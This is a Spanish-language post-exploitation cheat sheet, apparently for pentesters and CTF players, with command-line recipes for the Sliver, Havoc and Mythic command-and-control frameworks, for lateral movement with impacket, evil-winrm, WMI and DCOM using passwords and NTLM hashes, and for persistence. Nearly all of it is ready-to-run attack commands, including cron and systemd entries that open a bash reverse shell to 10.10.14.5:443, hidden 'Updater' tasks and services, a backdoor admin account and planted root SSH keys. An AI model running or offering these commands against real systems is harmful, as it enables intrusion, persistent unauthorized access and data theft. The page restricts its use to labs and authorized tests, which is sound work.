C2 y post-explotación

Cómo levantar un C2, mantener el acceso y saltar de un equipo a otro, con los comandos de operador de cada framework. Úsalo solo en laboratorios y en pentests autorizados.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Sliver

C2 en Go, un solo binario, muy usado en CTF y pentest. El servidor y la consola van juntos; genera el implante y levanta el listener desde la misma consola.

Arrancar

Servidor y consola Atacante
sliver-server
Listener mTLS Atacante
mtls --lhost 10.10.14.5 --lport 443
Listener HTTP(S) (se mezcla con tráfico web) Atacante
https --lhost 10.10.14.5 --lport 443

Generar implantes

Sesión (interactiva) Atacante
generate --mtls 10.10.14.5:443 --os windows --arch amd64 --format exe --save /tmp
Beacon (llama cada cierto tiempo) Atacante
generate beacon --http 10.10.14.5 --seconds 30 --jitter 5 --os windows --save /tmp
shellcode / DLL Atacante
generate --mtls 10.10.14.5 --format shellcode --save /tmp/sc.bin

Operar

Ver sesiones y entrar
sessions
use <id>
Órdenes dentro del implante
info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\fichero
Pivotar con port forward
portfwd add --bind 127.0.0.1:1433 --remote 10.10.0.5:1433

Havoc

C2 con interfaz gráfica (cliente Qt) y el agente Demon. El teamserver carga un perfil en YAML; el cliente se conecta a él.

Arrancar

Teamserver Atacante
./havoc server --profile profiles/havoc.yaotl -v
Cliente Atacante
./havoc client

Agente Demon

El implante se genera desde el cliente (Attack > Payload). Luego se controla con la consola del agente.

Órdenes típicas del Demon
dir; shell whoami; upload /tmp/x.exe C:\\Windows\\Temp\\x.exe; download C:\\loot\\pass.txt
Cargar un BOF (Beacon Object File)
inline-execute /ruta/whoami.o
SOCKS para pivotar
socks add 1080

Mythic

C2 modular que se despliega con Docker: cada agente (Apollo para Windows, Poseidon multiplataforma) y cada canal C2 es un contenedor. Se opera desde el navegador.

Desplegar

Instalar y arrancar Atacante
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli start
Ver la contraseña del panel Atacante
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD

Operar

El payload y el listener (C2 Profile) se crean en la interfaz web en https://127.0.0.1:7443. Abajo, órdenes típicas de Apollo.

Órdenes de Apollo
shell whoami; download C:\\loot\\pass.txt; jobs; ps
Ejecutar un ensamblado .NET en memoria
execute_assembly -Assembly Seatbelt.exe -Arguments "-group=all"

Movimiento lateral

Con credenciales o un hash, saltar al siguiente equipo. De más ruidoso (psexec crea un servicio) a más discreto (WinRM, WMI). Todo acepta pass-the-hash.

Practícalo en: ActiveForestSaunaBlackfieldJabTimelapseCascade

PsExec

Crea un servicio y da SYSTEM. Defender lo caza a menudo.

impacket-psexec Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
PsExec de Sysinternals (desde Windows) Víctima
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd

WMI

Practícalo en: Cascade

impacket-wmiexec Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
Crear un proceso remoto con wmic Víctima
wmic /node:10.10.11.20 /user:box.htb\\usuario /password:'Password123!' process call create "cmd /c calc.exe"

WinRM

Practícalo en: BlackfieldTimelapse

evil-winrm Atacante
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b
Enter-PSSession desde Windows Víctima
Enter-PSSession -ComputerName 10.10.11.20 -Credential box.htb\\usuario

DCOM

Practícalo en: Jab

impacket-dcomexec (MMC20) Atacante
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20
A mano con PowerShell (ShellWindows) Víctima
$c=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.11.20"))
$c.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc.exe","7")

Persistencia

Mantener el acceso tras un reinicio. En un pentest, apúntalo todo para limpiarlo al terminar.

Practícalo en: ActiveForest

Windows

Tarea programada Víctima
schtasks /create /sc onlogon /tn "Updater" /tr "C:\\Windows\\Temp\\x.exe" /ru SYSTEM
Clave Run del registro Víctima
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /d "C:\\Windows\\Temp\\x.exe" /f
Nuevo servicio Víctima
sc.exe create Updater binPath= "C:\\Windows\\Temp\\x.exe" start= auto
Añadir un usuario local y al grupo de administradores Víctima
net user soporte 'Soporte123!' /add && net localgroup administrators soporte /add

Linux

cron Víctima
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -
Servicio systemd Víctima
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service
sudo systemctl enable --now upd
Tu clave SSH en authorized_keys Víctima
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA... tu_clave' >> ~/.ssh/authorized_keys
Añadir una clave SSH de root (si puedes escribir) Víctima
echo 'ssh-ed25519 AAAA... tu_clave' | sudo tee -a /root/.ssh/authorized_keys